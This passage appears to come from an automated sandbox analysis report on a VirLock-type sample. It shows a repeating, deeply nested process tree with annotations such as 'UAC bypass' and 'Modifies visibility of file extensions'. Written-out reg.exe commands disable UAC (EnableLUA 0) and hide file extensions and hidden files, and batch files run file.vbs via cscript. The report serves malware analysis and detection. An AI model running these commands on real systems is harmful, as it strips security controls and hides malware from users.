                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                56⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                PID:2104
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                56⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                PID:4508
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                56⤵
                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                PID:4812
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gmsIMMgg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                56⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                PID:5556
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                  57⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:4616
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                              54⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                              PID:612
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                              54⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                              PID:4680
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                              54⤵
                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                              PID:5096
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cyMkwgIQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                              54⤵
                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                              PID:3464
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                55⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                PID:5832
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                          52⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                          PID:3952
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                          52⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                          PID:756
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                          52⤵
                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                          PID:3348
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xIAooMgo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                          52⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                          PID:2712
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                            53⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                            PID:4688
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                      PID:5972
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:3488
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      PID:1232
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZegYEYMo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5908
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          51⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          PID:5928
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    48⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    PID:3636
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                    48⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:688
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                      48⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      PID:4792
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JmUgwAIE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      48⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2676
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          49⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          PID:5040
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    46⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:1612
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                      47⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1124
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                      PID:2508
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      PID:1716
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\omcwccsA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2492
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          47⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          PID:4292
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    44⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    PID:4628
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                      45⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4672
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                      44⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4948
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                        44⤵
                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                        PID:5408
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CqwcUsMQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                        44⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                        PID:5132
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          45⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                          PID:5540
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                    PID:1028
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:4208
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:1048
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AecsMckc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                    PID:1176
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                      43⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4244
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                        43⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                        PID:4936
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                  40⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                  PID:1948
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                  40⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:3036
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                    40⤵
                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                    PID:5580
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                      41⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6020
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\voUEYgcc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      40⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                      PID:5552
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                        41⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                        PID:4808
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                  38⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                  PID:1160
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                  38⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5892
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                    38⤵
                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                    PID:1232
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rYwMkwQA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                    38⤵
                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                    PID:1604
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                      39⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                      PID:4744
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                36⤵
                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                PID:1480
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                36⤵
                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                PID:2948
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                36⤵
                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                PID:3960
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JaQwswEo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                36⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                PID:4148
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                  37⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                  PID:592
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                            34⤵
                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                            PID:5092
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                            34⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1804
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                              34⤵
                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                              PID:2264
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WUYoAAAw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                              34⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4932
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                  35⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                  PID:2464
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                            32⤵
                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                            PID:1968
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                            32⤵
                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                            PID:1936
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                            32⤵
                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                            PID:4672
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
